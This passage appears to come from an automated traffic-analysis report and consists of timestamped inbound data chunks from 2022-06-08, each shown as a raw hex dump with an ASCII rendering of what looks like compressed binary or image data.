9c 2c 9a 9b 78 32 fd a3 75 c6 c1 c7 6c fd d2 39 32 32 f7 09 da 38 a3 81 4b 1a 3c 8c 7f 6c af 5b c4 91 75 19 18 2f 1e 3f a0 
09 b5 82 ab 92 e5 b5 ed 1b 86 51 97 0e 69 cc d2 4e cc e6 58 02 22 42 aa 79 5d e9 68 f6 ad 5d ee 6a b1 1c 34 94 53 c0 
d6 b4 15 cf 3e f2 7f e9 30 34 89 8e 24 c7 74 fa 69 87 53 39 44 4a da 8e 08 ba ce e0 91 c4 7f 30 6b ee d7 5e 9c b3 9e f8 
33 19 70 b7 bf 23 87 2d a3 cb ef 6f 70 63 c3 93 34 bd 1d 
Data Ascii: x..y4L"H@XmYoVP?RW$mQ<g%j!V.2hiZ3YHMG"Z0j)K,x2ul9228K<l[u/?QiNX"By]h]j4S>04$tiS9DJ0k^3p#-
opc4

2022-06-08 07:56:17 UTC 5386 IN Data Raw: 78 7c 08 ff 00 d7 5d 14 d4 e7 27 3d b6 a8 c1 0e cf 78 a9 e3 ae c4 a0 e4 6e 4f 18 f9 f9 5b 5c 9d cc 49 19 38 f2 
07 81 fc c7 23 aa 3a ab 72 46 5d 78 2e 1b 4f 9e c5 29 11 ee 29 63 7f f2 27 15 fe 2b cc 7f 0a eb 86 ff 00 59 af e2 74 57 7f 
a9 71 c7 9e 2c a8 c4 b0 b0 78 cf 26 53 51 af 3d a8 c3 3a d3 93 ad 35 86 85 34 00 11 a0 02 9a 00 29 a0 02 9a 00 29 a0 
02 9a 00 29 a0 02 9a 00 29 a0 02 9a 00 29 a0 04 b7 5a 01 4d 60 0b 6e 80 12 9a 00 2d d0 01 4d 00 14 d0 01 4d 00 14 d0 
01 4d 00 2d 34 00 94 d0 02 d3 40 06 80 0a 68 01 34 00 ba 00 4d 00 2e 80 0d 00 1a 00 34 00 68 01 6b a0 03 40 05 74 00 
68 00 d0 01 a0 03 40 1f ff d1 fa ae 9a f7 cf 24 29 5d 64 81 e5 93 44 99 07 8d 31 82 68 01 34 00 68 00 d6 80 68 00 d6 00 
0d 00 29 04 68 01 34 00 68 01 34 01 e8 12 39 1d 00 7a 13 b8 
Data Ascii: x|]'=xnO[\I8#:rF]x.O))c'+YtWq,x&SQ=:54)))))ZM`n-MMM-4@h4M.4hk@th@$)]dD1h4hh)h4h49z

2022-06-08 07:56:17 UTC 5402 IN Data Raw: 0b 98 22 55 92 51 1c ed 45 25 4a a0 67 af 13 6a d1 6d 3f 05 e9 d5 d5 b1 04 5a cc 93 79 63 17 c8 e2 ff 00 9c 
8d 86 34 8a 28 93 aa b9 75 50 aa 6b 71 1c 4f a5 a3 a4 aa db 71 3a e7 4e 1c a2 cf 28 61 83 b5 c9 3e 2c 78 d8 ae 5e 38 
6d 8e d6 25 51 42 71 8d c2 28 eb 65 1f 8f 2b 5a ed 56 cf d4 44 4e e5 62 ac 57 46 03 3e 73 80 e1 6e 5b 58 07 50 45 18 af 
1a bf 51 ff 00 2c 75 fc 2d d2 56 92 33 b4 0f e0 d9 a6 9f 2a 39 93 bb 8a cc cc 08 b2 80 85 26 96 52 be e6 e0 aa f4 b9 53 
ac 72 d5 12 82 6d 92 1f d1 f0 71 a4 59 a5 8d e3 0d 5f f3 02 da ec 78 73 6a bf 16 af 55 2d 3f a7 53 97 e4 6f d0 e5 83 b6 c5 
26 0c b8 d2 61 52 66 9a b2 23 48 1d 68 59 42 f1 52 d2 3f 45 d6 25 8b 6f 26 b2 87 56 6f 32 22 58 3d 47 b6 cf 8a d2 40 15 
27 5e e2 b3 4a d5 40 a8 2b 62 20 53 75 a2 da 31 b9 47 4d 
Data Ascii: "UQE%Jgjm?Zyc4(uPkqOq:N(a>,x^8m%QBq(e+ZVDNbWF>sn[XPEQ,u-V3*9&RSrmqY_xsjU-?So&a
Rf#HhYBR?E%o&Vo2"X=G@'^J@+b Su1GM

2022-06-08 07:56:17 UTC 5418 IN Data Raw: 57 77 45 08 2d 14 4b 78 fb c7 3b 63 e7 f3 d9 c6 9a eb 55 f4 39 db f5 2b f0 78 9a e4 c5 3a e4 b4 78 58 32 3c 05 
d1 2a 24 65 6e 3d b1 41 71 2e bc e3 f9 38 3b 6b b5 3e 20 e4 67 0f 2a 8f c6 70 e3 5c 79 95 9e 6e da 1c 75 45 b9 91 08 bf 
f7 98 90 6e 2b 4e 95 20 2a d2 ee 3a e8 d6 99 1b b2 87 b9 e5 6d d9 6e f2 e2 43 26 39 23 da ac 58 fe 43 97 01 ae a2 24 
44 92 2b 8e f3 92 18 1e 00 8e 00 fe 3c ce 89 18 f1 f5 17 38 5a 17 25 b9 fa 54 69 07 91 e3 52 46 26 e0 6d 02 b4 e3 c0 ff 
00 e3 ff 00 07 59 06 49 e4 c3 2a 2d 41 a3 2f 00 28 6b 4f fc 72 d6 40 d2 77 ed 4c 89 73 a1 a1 0a 6a c3 fb 14 eb 20 d9 3b 
63 dd fe 6c 74 62 7d aa 7d a6 9c c6 9d 0a d9 e6 4e d3 a3 09 00 59 38 fb 45 07 13 e8 39 8d 63 01 30 f2 63 c4 eb 0e 11 89 
e1 42 38 91 ca e1 f2 d7 d3 45 59 ac 7a b9 00 c9 c2 c6 02 
Data Ascii: WwE-Kx;cU9+x:xX2<*$en=Aq.8;k> g*p\ynuEn+N *:mnC&9#XC$D+<8Z%TiRF&mYI*-A/(kOr@wLsj ;cltb}}
NY8E9c0cB8EYz

2022-06-08 07:56:17 UTC 5426 IN Data Raw: f3 6d f2 91 b8 4b 16 2c 8a 82 67 04 2b b3 58 ac 40 af c1 82 d4 72 fd 5a 85 b5 c0 49 36 98 99 cc 47 46 3d c7 
e1 35 7f fb 9d 4f 00 3a db fc 77 75 dd e6 ec 62 a4 4c e4 5c 40 97 88 03 d7 db cb f1 d4 6f 75 45 2c a5 2a ec e1 16 1d ab 
c0 d2 45 13 67 ba 84 04 de dc 4a dc 01 21 23 0a 2e 95 b9 5c 78 2f e9 bb 5e 75 be c5 af fc 70 77 d7 4a af f2 c9 73 c1 c2 
c5 c5 88 36 12 b2 ac 68 14 1b 54 02 4d 6e 01 7f 50 1f fe 11 5d 72 2a cb 96 74 b7 88 44 34 79 bb 8d a3 b8 b7 c2 8e a2 39 
1e e4 50 54 d6 ac 0d 0d 2b 73 32 af b8 f0 d5 89 93 fb 5e c5 9e 93 8c 6c 88 c2 c6 8c 64 76 b9 5b b6 28 ac 09 07 88 77 e2 
10 7c ab cf 50 b4 db 05 13 4b 27 ad c6 6c 5c ec c3 34 71 94 82 1f da 12 46 6d 72 c4 9e e9 57 3c 6d e5 ed a7 16 e9 6f 5d 
2e 27 01 98 3b ec d1 0c 27 3b ce 68 b6 58 ef f6 80 e1 95 
Data Ascii: mK,g+X@rZI6GF=5O:wubL\@ouE,*EgJ!#.\x/^upwJs6hTMnP]r*tD4y9PT+s2^ldv[(w|PK'l\4qFmrW<mo].';';hX

2022-06-08 07:56:17 UTC 5442 IN Data Raw: d3 1a 32 b3 4a c9 75 f7 ad d6 b5 8a c8 9c 64 67 9c 1e e5 c7 ca c7 c1 87 c4 b0 14 65 65 ce ef 24 ae ee 15 20 
8a 22 aa 5a c4 f9 2c 40 b1 86 66 32 ca ae dd 56 e9 da f2 64 c6 05 4d cf 1f 6a 78 4e dc c2 2c 38 a3 92 27 69 01 64 9d 80 
7e db 46 00 a0 09 db ee b3 da 65 92 bd 6d c5 9b 4a dc e1 82 5e 4e d9 12 c7 b4 61 ce 43 3e 35 8f 47 c8 00 33 bb 44 82 
69 26 35 ba e0 6d 91 50 15 3c 07 f3 0d 15 72 cd 67 3f 20 f2 0d bb 6f c1 87 27 2a 14 c7 ce cc 84 98 e5 04 d7 1a 49 16 a2 
ea 80 12 5b 2d 5b ff 00 f9 2a 9c 97 4e ab 22 49 5a de f6 dc ed 83 66 83 78 ce 51 26 56 28 ee cc b3 48 43 34 b1 f4 c2 88 
c8 18 48 4a db 2b f2 4e 9e 57 31 d6 25 2f 03 4b 48 b2 f8 76 c2 db 5e e1 3c 9b 96 4a cf b8 64 aa 99 6e 6b 4a 06 46 75 92 
46 ad 00 0b d4 23 66 09 1f 0a 7e e3 57 50 b3 9c 14 58 c9 df 
Data Ascii: 2Judgee$ "Z,@f2VdMjxN,8'id~FemJ^NaC>5G3Di&5mP<rg? o'*I[-[*N"IZfxQ&V(HC4HJ+NW1%/KHv^<Jdnk
JFuF#f~WPX

Timestamp
kBytes
transferred

Direction Data
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2022-06-08 07:56:17 UTC 5458 IN Data Raw: a9 ff 00 9c fc 22 9f e3 2f 2c 93 da 3e c9 f8 8c 72 07 c8 83 33 22 94 60 d3 48 23 49 6a 68 44 56 15 67 0b ee 24 
0f f0 ab 0d 4e ff 00 6f 62 e2 10 d5 fa f4 f3 93 42 c1 c4 4f 13 8a 4d b7 c7 b0 60 86 02 a6 3a 33 14 05 c1 02 b2 4c a1 a4 71 
fd 8d 77 af a6 bc ed 97 ee e6 cd b3 b6 b5 eb 84 89 3c 25 cc cb 80 b1 98 99 09 28 64 4a 22 00 0f 3b d8 82 a6 ff 00 cc 1b 
54 5b c7 52 82 92 4d e0 f8 fe 46 34 6a 1d cf a8 67 62 18 83 cc 1e 27 aa ad d5 c5 45 00 f7 71 d3 3a b1 3b 22 6b 6e f1 fc 
6c 60 4e 2c 24 e4 90 cd 24 b2 af 33 4e 06 f1 5a f0 e4 00 e3 ad 78 42 cc b3 ce 26 6e 24 23 2a 3c 45 0b 3c 7d 4c 59 ab 56 
6e 95 01 47 53 0a f4 dc c1 6d 2b e9 66 b9 9b 9e 0b a5 1c 91 90 c1 1e e7 8b f5 89 0d c9 d3 1b 29 5a b0 72 f4 2c cc e7 af 
a5 cb 0b ba 60 51 6a f5 f4 eb 5d 70 0d e4 97 dd 46 
Data Ascii: "/,>r3"`H#IjhDVg$NobBOM`:3Lqw<%(dJ";T[RMF4jgb'Eq:;"knl`N,$$3NZxB&n$#*<E<}LYVnGSm+f)Zr,`Qj]pF

2022-06-08 07:56:17 UTC 5465 IN Data Raw: 9a 94 d3 2c 60 56 cf 09 04 eb 0a 40 f2 18 8a 51 53 a4 1b 95 12 95 0d c0 da de f3 f2 87 e1 ed ba ed 03 96 54 
f8 db 16 df 7e 43 f6 e4 90 bf 69 48 67 67 66 61 f1 ea 61 d4 a4 f0 b1 7d 68 ba 1e 4c e0 4d d2 1d e3 72 c4 77 47 6c 1c 4b 
07 02 c1 72 27 36 06 ed 20 06 c8 c3 37 cc 7a fe 1d bf 76 9e 7d 05 8f 53 dc b3 6d db 76 22 c1 90 89 0c 2a c4 22 33 50 9f 
45 8c 5d 6d ec 58 7a 74 13 5e b6 ae b9 ec bb 17 ae 08 8c ef 3d c3 de d2 4c 1d 85 e4 94 e2 cb 64 b3 46 5a 90 b5 05 2a 
07 17 b4 f4 5a 8b 24 7c cb fb 74 34 ea 8d 4a 46 11 6e 5b aa e3 85 c5 06 48 f2 0a 3c 44 74 08 94 57 9a b0 65 6a 8a bb 5a 
3f 5f fc 42 a3 51 7f 92 dc 9e 37 5c a9 e6 2b 04 15 94 41 13 c0 25 26 94 0d db 65 2e 1f 8b ac cc ca af d3 d1 6d 3f 52 e9 90 
32 a9 91 be 36 d5 b4 e2 41 b4 8c 48 61 2a 46 41 54 05 20 
Data Ascii: ,`V@QST~CiHggfaa}hLMrwGlKr'6 7zv}Smv"*"3PE]mXzt^=LdFZ*Z$|t4JFn[H<DtWejZ?_BQ7\+A%&e.m?R26
AHa*FAT 

2022-06-08 07:56:17 UTC 5481 IN Data Raw: 64 b8 74 a8 14 55 fc 56 de 9e 3a eb 44 48 e4 21 c9 57 62 61 35 25 01 a8 52 7d 47 a7 13 ac 90 83 80 90 42 68 
b2 56 86 a0 fa 70 f8 f3 1f 86 b6 40 fa 4b ec f7 fd bf ff 00 54 86 1f 20 f2 98 d4 e0 c8 a2 58 b1 4d 41 21 87 43 b5 05 68 fc 29 
1b 7c a6 e7 fd 3a f2 77 7d 87 6c 57 fa ff 00 d0 eb a6 b4 b2 ff 00 a1 f4 3e e1 b7 b7 d4 c3 fd 3c 27 7b 1a 30 b1 c2 aa 12 24 
0d 50 4d 05 55 d8 2f b6 83 a3 9f 0a f4 f9 cf 2f 07 55 70 b2 4a c3 9d 93 0c 73 61 e5 c5 dc 92 28 e2 67 91 96 d5 73 c4 31 
47 e9 ad 94 e4 38 71 aa f0 d6 3b 61 a6 0a b2 e5 15 dc 1c dc 7c 96 97 30 c8 7b 90 ca e0 47 28 52 cc aa 45 42 0a d3 aa 
ee d2 fa d9 62 f3 7b da 69 49 46 e0 79 81 b7 65 4e 8d 36 44 51 c6 8e 49 60 0d 6d 00 d4 28 63 45 6a 28 f7 56 95 67 66 f4 
d3 aa 8a ed f9 1b e0 ee af bd e4 e3 67 63 48 f1 e0 
Data Ascii: dtUV:DH!Wba5%R}GBhVp@KT XMA!Ch)|:w}lW><'{0$PMU//UpJsa(gs1G8q;a|0{G(REBb{iIFyeN6DQI`m(cEj
(VgfgcH

2022-06-08 07:56:17 UTC 5497 IN Data Raw: 8a 7c 78 ab 72 e0 7b bc 0b 2b c9 09 87 95 87 e3 50 c5 8d 87 19 c6 c4 92 15 65 95 d8 95 a0 36 0b a3 63 72 ab 
b7 e9 aa 3d d6 dc a3 dc b7 5d b2 3d 30 45 64 66 6e 98 2d 93 b9 ed 79 70 98 23 48 fb b1 46 8c ab c1 80 a2 1a fb 65 af 06 
8d 45 ad 50 cb 25 3b 9a d4 28 bb 44 d0 ee 58 42 4c 00 71 8e 44 84 45 18 8c bb 25 fd 75 4b 07 00 c3 85 ed d5 c2 96 c7 
6e b1 a7 3e a3 26 a0 e1 b7 60 f9 02 42 f2 ee 39 2d 91 b4 ae 4b df 1c ef 1b 4c a0 8a a8 b8 a0 2d 53 c2 d6 b4 ad 45 16 ee 
9d 0d a6 cc 49 a1 ae 7e e3 b6 ef 58 85 1f 19 31 61 7e dc 1d c8 8d c1 55 8f 01 94 a4 06 ba b4 37 b0 65 1d 5d 5a 32 99 a9 
a2 6f 3f b1 e0 d8 b3 e2 ca 63 91 1a 13 3b 47 0c 68 91 95 74 54 56 ed d6 d9 1f 81 e1 18 56 ea 0c fa 9f 5e dc 8d 30 41 f8 
e6 fb b7 ef 2a 70 36 5d b3 22 48 5c 30 96 6c 89 3f 68 33 71 
Data Ascii: |xr{+Pe6cr=]=0Edfn-yp#HFeEP%;(DXBLqDE%uKn>&`B9-KL-SEI~X1a~U7e]Z2o?c;GhtTVV^0A*p6]"H\0l?h3q

2022-06-08 07:56:17 UTC 5505 IN Data Raw: 74 c9 91 a5 70 6a e2 27 62 d2 30 01 4a 1e 06 c0 d5 5b 7a ab f1 f5 a6 72 6f 05 a7 6e 18 d8 f8 31 c2 d0 98 26 
28 01 86 70 b5 0a 47 c0 16 26 9c 6d 6e 9a 37 c7 96 b1 c1 88 f1 87 ba c7 b7 34 af 91 31 69 dc c7 db 86 1b cc 83 92 80 c7 
e6 2c 4f 1b ba 56 bd 5a 69 81 62 46 bb b1 9e 2c e0 d8 58 72 e3 4f 24 a4 4f 2f 60 90 63 1c 9c 14 2a 8a a4 8e a9 0f 50 f7 
5a dc b4 c9 e3 26 34 7a da 1b 1e 69 5f 33 30 63 36 6c ce 11 8e 3b 97 99 c2 f0 61 d6 11 c0 e1 c9 49 51 a5 ba 7f b1 b5 1f 
ee c9 bc cd 8a 67 c7 c8 7c 18 6f 1d b8 58 90 5d 0f b9 64 92 2a 2a 1e 2b 6a f4 fe 2d 5e 1a 2b 68 e0 2c a7 93 d6 24 db aa 
62 7e c4 4a 24 c8 46 5e ea 19 67 88 0f 81 70 14 d5 87 32 17 97 b5 f4 26 d0 34 98 e3 1b c8 20 36 af d4 b6 34 a2 40 9f 4e 
e6 81 f9 05 31 a4 bd bb 54 f3 36 dc b7 7e 35 d3 fb 85 84 
Data Ascii: tpj'b0J[zron1&(pG&mn741i,OVZibF,XrO$O/`c*PZ&4zi_30c6l;aIQg|oX]d**+j-^+h,$b~J$F^gp2&4 64@N1T6~5

2022-06-08 07:56:17 UTC 5521 IN Data Raw: 1e cf 4c 7c 84 cd c8 be 5c 89 0b ac 48 02 90 aa 00 b4 b7 37 fe 76 e4 2b d3 f1 d5 29 ad b5 fa 89 7d 89 3c 17 
3d b2 19 ca 8c 77 45 54 40 2e b1 8b 0b 8f 34 15 15 a2 eb d3 d7 57 c1 e7 5e cb 91 fc f7 e3 38 99 40 ec ad 6e 00 12 79 70 
0a 07 b8 d7 5d 31 0e 4e 79 95 03 88 67 19 b1 ae 45 8c 8a 47 cd 4a ff 00 66 9d 3e d9 27 1d 70 43 4f 97 24 99 65 e2 3c 51 
18 10 a4 85 20 7b 6e 3f cd fd da e5 b5 9b b6 0e b5 54 ab 91 d0 99 e6 c3 49 e7 75 8c 80 0b 10 68 a1 87 3a 57 d2 bf 35 
35 7f 12 c8 79 85 92 03 7b c9 84 b9 ca 72 00 53 d5 21 63 c2 30 38 81 ed a7 c4 eb 83 6d d4 c9 dd aa 8e 20 80 87 cd b6 
dc d7 31 ed f9 28 f0 82 11 9f df 4e 15 e1 43 fc 2b f1 d7 0d b7 e6 11 d6 b4 be 58 f7 27 7e c2 86 10 22 52 ed 4a 20 1c 3a 8f 
25 15 e9 b8 9d 25 ae 90 d5 a3 64 d6 db 95 2d 42 32 32 80 a2 
Data Ascii: L|\H7v+)}<=wET@.4W^8@nyp]1NygEGJf>'pCO$e<Q {n?TIuh:W55y{rS!c08m 1(NC+X'~"RJ :%%d-B22

2022-06-08 07:56:17 UTC 5537 IN Data Raw: 7f 28 a3 6b ae fb dc 61 64 e7 ae b5 e4 d6 e5 c5 da f7 48 30 20 f1 ec 04 99 62 96 24 69 60 22 69 55 d6 e3 79 
76 1e ce 86 a7 0f 9a 97 7a 6b cc 77 b2 6f b3 3a d5 57 83 8e e9 8f ff 00 43 6c c3 6f c8 c9 18 79 3d c6 95 1e 46 a4 c7 ba 
00 91 e1 11 15 9a 25 bc d4 2b 1f dd 55 bd e3 b3 81 ad 2b 6b 39 26 ec 91 55 f1 8d c3 7e d9 62 69 b0 f7 1f a8 c0 77 66 60 
d0 ab 20 86 82 8e 43 17 ab cc 6e e9 4f de fd ab ae a6 ad 6a 55 e1 a1 15 98 45 8d 9d e6 99 78 ff 00 45 bb 88 d9 a1 4e dc 
11 43 35 ac a5 99 5d 5c 02 6d 78 94 f7 0d 5b d0 7e 81 aa 57 5f 5f 02 5a f2 57 f0 bc 26 3b f2 96 5c aa e4 24 94 45 68 64 
79 1a ea d5 ac 5b fa 17 e3 77 c3 e0 48 eb ef 04 a0 8a ce d8 b2 23 81 57 33 22 28 41 94 29 8d da 44 92 20 00 29 27 b0 
95 46 f4 b5 98 f2 f6 d7 4d d9 3e 10 9d 7f 25 e3 c6 7c 53 0e 
Data Ascii: (kadH0 b$i`"iUyvzkwo:WCloy=F%+U+k9&U~biwf` CnOjUExENC5]\mx[~W__ZW&;\$Ehdy[wH#W3"(A)D )'F
M>%|S

2022-06-08 07:56:17 UTC 5545 IN Data Raw: 54 71 af 1e 7a ee 6f e3 59 3c e8 f9 1e 0f ff d0 82 ca f1 0c 2d 9b 26 4c fd 93 21 b0 62 8b 2c 26 45 dd b7 4c 46 
2a 4d 55 c1 3d e7 aa f0 55 bb 9d 5a c6 d7 85 5b 3b 72 7d 33 49 70 48 ed d8 fe 3f b7 66 b6 db 36 e1 8b 93 3e 5a af 7d 03 
3c d5 94 2b 30 69 65 51 13 04 2d ea 92 32 ab 2f 56 a7 7a b7 98 36 b7 8c 0c 4e e3 b7 e7 e7 37 8e c3 54 c6 db a3 b1 e7 
78 e3 85 60 2c 40 0e a8 01 52 0b 74 a5 b5 91 ee b8 de 7d ac f5 b8 ec bc 87 75 30 c9 df 1d c9 f2 1f 00 99 37 09 b2 52 7c 
08 a4 b6 28 aa 3b 92 c6 c0 35 19 40 45 56 55 17 74 df c6 a2 ef 75 55 57 b3 c2 06 e3 92 95 e7 5e 3f 9b e6 39 69 b9 ee 82 
3c 67 cb 73 16 25 55 62 2c 95 34 9e 50 59 ba 09 f6 dc 7a 51 7f c1 ae fa 6d 54 51 07 33 d7 3e 4a f4 1e 31 91 8f 97 18 cc 
dd 93 2b 1e 14 58 a5 9a 46 b5 19 6c 1d 28 b7 97 36 28 a8 
Data Ascii: TqzoY<-&L!b,&ELF*MU=UZ[;r}3IpH?f6>Z}<+0ieQ-2/Vz6N7Tx`,@Rt}u07R|(;5@EVUtuUW^?9i<gs%Ub,4PY
zQmTQ3>J1+XFl(6(

2022-06-08 07:56:17 UTC 5561 IN Data Raw: 93 35 d5 3b 42 2b 1e 19 16 ef bb 6d 32 67 bc 4f 0c b9 0c c2 23 21 50 4a 93 d2 fc 07 05 a7 b7 d7 5c 9a 2b 66 
a7 d4 eb df 6a d6 d1 e8 5a f6 9f 16 c2 f1 c8 18 c0 2f c8 97 aa 49 5c d5 dd bf 16 e7 4f 80 d7 6d 34 2d 6a 79 67 0d f7 bd 8f 
f0 42 ee f9 bb 9e e6 24 c2 c5 4b 66 8d d0 d6 9d 25 6b c7 89 d7 36 cb 5a d8 47 4e ba d6 b9 63 d3 b7 1d b3 1c 18 10 2d 
2a 58 7a 53 9f 0f e3 ad e9 d5 19 df b3 c9 ff d2 c2 46 ed d8 cf 97 03 3d cc 58 b0 b9 6a 46 8a cc ae 01 02 a1 8a ad a7 82 
d0 75 0f f6 75 ce b2 a5 1e c7 0e 09 5f 1d db e6 df 72 3f a7 e3 cc 8a 24 37 59 91 1c 89 19 55 e2 64 47 3f b6 c5 14 fe a0 7e 
5f c7 5b 6d 9d 57 12 62 a4 be 4b 8f 8b 78 76 46 cd 91 06 eb 81 9a a5 5d d8 45 8f 2e 3a 98 a6 2a d4 66 79 65 0f 6a 80 8d 
41 46 3d 56 22 96 e7 e7 df 67 7c 34 75 aa 75 cc 96 38 
Data Ascii: 5;B+m2gO#!PJ\+fjZ/I\Om4-jygB$Kf%k6ZGNc-*XzSF=XjFuu_r?$7YUdG?~_[mWbKxvF]E.:*fyejAF=V"g|4uu8

Timestamp
kBytes
transferred
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2022-06-08 07:56:17 UTC 5577 IN Data Raw: 61 2b 4b 9b 22 01 1a a0 a0 e3 c5 ae 63 f8 7c da f3 6c f1 83 d2 ad 63 92 fb e2 7b 7e 3b c6 21 80 b2 98 a2 58 
c8 61 c0 53 e0 3f d7 a6 d5 5e c4 f6 da 07 e3 3f 13 61 06 6c 92 b1 6d f2 35 1e 46 2a 15 0f ea 76 27 a4 1d 75 6b 50 ce 6b 
e4 be 6d 19 38 39 18 71 e4 60 94 7c 69 50 48 92 29 e8 7b b9 15 61 ce ba f6 aa 92 58 3c 8b 4c e4 83 f2 cc bc 28 71 84 39 
b2 28 ef dd 12 9a 81 c4 02 4f e2 75 cb ba 12 c9 d5 a1 36 f0 51 fc 43 c4 6d f0 c8 d3 08 d2 45 33 34 4d 28 a8 17 c8 48 60 
3e 07 9d ba e7 d7 ab b5 64 e9 db b6 2f 03 df 1a f0 94 f1 f5 c9 9a 67 6c 89 a6 21 9f 92 a9 60 28 aa a8 bd 2a 3f 0d 2d 74 fa 
85 b7 4f 03 dd a1 e3 da a2 3b 76 ed 21 c8 9d e6 ee 5c a3 85 08 b8 2b 28 af 05 e5 c7 9e a9 48 ae 18 b7 9b 66 a4 0e 7e 
46 d0 37 89 b3 f3 02 f7 99 68 25 64 36 a8 51 55 51 5f cf 
Data Ascii: a+K"c|lc{~;!XaS?^?alm5F*v'ukPkm89q`|iPH){aX<L(q9(Ou6QCmE34M(H`>d/gl!`(*?-tO;v!\+(Hf~F7h%d6QUQ_

2022-06-08 07:56:17 UTC 5585 IN Data Raw: 82 a3 d4 8f 5d 76 57 4a b2 52 72 3d ce ad c1 ef 7c 96 69 31 24 c6 c0 8d 7b 83 a4 51 80 0a 0f 0a f0 ff 00 db fd 
ba a6 c7 88 aa 13 5a cc d9 95 0d ff 00 61 de b7 5d bd 36 bd a1 a1 8f 2e 23 6a 3b b3 90 80 73 91 cd 59 98 8f 95 5b dd f3 
6b 99 eb b5 b0 75 57 65 6b 2d 96 bc f2 9e 2f b2 3c 8a ca d2 43 15 1d 85 11 4b d3 8b 31 1c bf be 83 5d af ff 00 ae a7 15 
7f fb 2c 66 7b 5e 01 f3 fd ea 0d f5 93 25 62 ed b8 81 9c 7e ca 1a d1 9d 6d 6a 49 dc 1f e5 1a 91 6e bc f6 9e c6 7a 1d 96 ba 
9b 2e db b7 e3 ed 24 45 83 0a 44 18 5c e4 00 38 9f c4 73 27 5e b5 28 a9 c1 e4 5e fd f9 20 77 df ea f9 5b b6 3f f4 94 8c c4 
c4 2c f2 97 a3 2a 57 a8 2f 06 e3 ae 6d 97 b3 b6 0e 9d 75 aa af b8 b2 65 e6 7d 38 af 3e 62 87 80 34 1a e8 b5 8e 7a d4 cc 
bc cf cd a3 dd fc 6b eb 70 f1 e4 97 1c 99 51 d1 
Data Ascii: ]vWJRr=|i1${QZa]6.#j;sY[kuWek-/<CK1],f{^%b~mjInz.$ED\8s'^(^ w[?,*W/mue}8>b4zkpQ

2022-06-08 07:56:17 UTC 5601 IN Data Raw: 8e 36 0e c2 1f a8 92 69 14 12 69 77 ed 13 c1 fd d6 9f c2 ba 3b 47 26 b5 3c 1c 31 b7 a9 25 dd 27 da 67 8d c6 
f3 2a d9 08 75 58 94 b2 8e 22 04 52 cd 22 2f f3 b3 3f 52 ff 00 b3 bd 65 48 76 8c 0d b0 fc 53 7f f3 5c 39 63 f2 2a 42 91 91 
f4 ac 8c d8 d9 68 c0 95 7e e2 21 b5 90 f1 b2 ca b3 2f 13 aa 27 d7 8f dc 47 9e 48 bf 1c f1 9d b7 c1 f7 a9 b3 3b b3 e7 c8 50 
07 69 c2 06 6e 25 7d ca a8 5a 24 f4 5e ae ae b7 f6 e9 6f 6e dc 9a 94 17 3f eb 18 7b fe ea 71 24 68 e1 92 15 bd 20 af 09 
14 f0 b6 8f 68 24 1a 71 5e 1c 7d df 19 3a c2 91 d3 f0 45 6f 36 65 67 c7 0e 32 35 f0 30 59 fb cd 28 8a 31 22 02 10 08 99 7b 
a1 85 56 ac 5a 3d 32 c2 15 e5 9d 36 4c 9d a7 19 1b 6b d8 0c 2d 6b 91 34 71 51 9a 32 38 b2 94 61 58 d5 4d 4f fa f5 8d fa 
9a bf 05 97 0f 2e 4c b8 46 54 ec a7 10 ad 6e 65 
Data Ascii: 6iiw;G&<1%'g*uX"R"/?ReHvS\9c*Bh~!/'GH;Pin%}Z$^on?{q$h h$q^}:Eo6eg250Y(1"{VZ=26Lk-k4qQ28a
XMO.LFTne

2022-06-08 07:56:17 UTC 5617 IN Data Raw: 33 76 c5 21 02 c4 88 60 78 e2 a0 77 c5 68 ad b8 12 a8 4b 37 47 e2 d6 9a bd 35 b7 89 c8 b6 b7 9f 01 2f 9b 6e 
4b 9c db 78 c0 dc b7 2c 69 41 98 40 71 80 e9 02 eb a2 79 00 66 7b 9a 8d dc 34 5a 6b 55 31 96 90 3b 66 54 97 4d 9e 0c 
5d fb 08 e6 cc d9 38 78 99 60 9e c6 54 56 32 02 0a b7 b4 b1 00 75 5b 67 55 7e 0d a8 b5 d5 e1 fe e3 27 2b 82 0b 6d db 
1b 6e db 9a 7c 8c 7c 9c 3d a3 19 6c 48 03 c6 d0 16 8b a9 67 73 d7 3d 47 f9 8e cf 1b 5b f2 f1 e9 d5 dc b2 58 4c 91 d9 f3 
b6 cd c1 e4 dc 3b d2 cd 34 ca d1 f7 9d c8 c7 96 52 a5 99 71 d1 9d 63 2f 61 4a f4 fc 38 dd 70 d4 a1 c6 4a 36 a7 05 43 77 
dc 37 02 83 c7 73 77 2e ff 00 93 99 50 c4 31 71 d4 4b 14 05 7a fb cb dc 48 83 58 7a 1a e5 a7 01 f3 70 e8 9a b5 29 60 93 
4d 38 92 d9 e3 19 91 e4 b6 44 59 1b ae 3b e2 e0 83 13 ac 6c ab 
Data Ascii: 3v!`xwhK7G5/nKx,iA@qyf{4ZkU1;fTM]8x`TV2u[gU~'+mn||=lHgs=G[XL;4Rqc/aJ8pJ6Cw7sw.P1qKzHXzp)
`M8DY;l

2022-06-08 07:56:17 UTC 5624 IN Data Raw: 22 45 3c 35 25 8c 8c d2 29 9b 7e d7 b5 65 ee 2f 3e cb 8b 97 fd 63 6f bc 2c 18 a1 22 57 52 a3 92 3b d1 60 65 
36 bb 35 6e e5 aa 5a ef ac 3e 18 bd 54 e0 f5 ba 64 ef f9 5f 51 8d b5 c1 8b 82 4e 3a 77 d9 1e 1b 11 5b 84 c8 12 d5 b6 54 
e1 ca 4f 89 f6 f1 d6 52 c9 72 16 ab 25 30 f0 53 3f 69 6d 99 21 93 25 a5 8f b6 b9 4d 34 85 5c 86 17 dc 84 91 45 e9 bc 0a 
22 91 f3 6a 76 79 92 95 58 82 74 ed b1 e1 ed 6d b0 62 49 1c f3 d9 1e 31 4b 5a f7 62 00 a9 1e c4 e9 a9 08 bd 29 c9 8a 2f 
05 9a cb ec 33 c2 82 9d 95 e3 b1 e7 ee f2 63 ee b9 d9 92 65 c7 24 51 47 31 86 48 e0 78 eb 6d ae 63 64 84 1a 11 c5 bb 
9d 3e eb eb 4d 75 f6 c7 83 9e 0b be cb 16 e6 f8 2f 04 9b ab 6e 01 a5 b0 24 e6 31 8f 4e 20 47 6c 2b d6 b4 f7 28 eb fe 45 
b7 ab 9a d7 96 55 56 0e 9b ae cd b6 ef 39 31 c5 b8 cd 85 36 
Data Ascii: "E<5%)~e/>co,"WR;`e65nZ>Td_QN:w[TORr%0S?im!%M4\E"jvyXtmbI1KZb)/3ce$QG1Hxmcd>Mu/n$1N Gl+(
EUV916

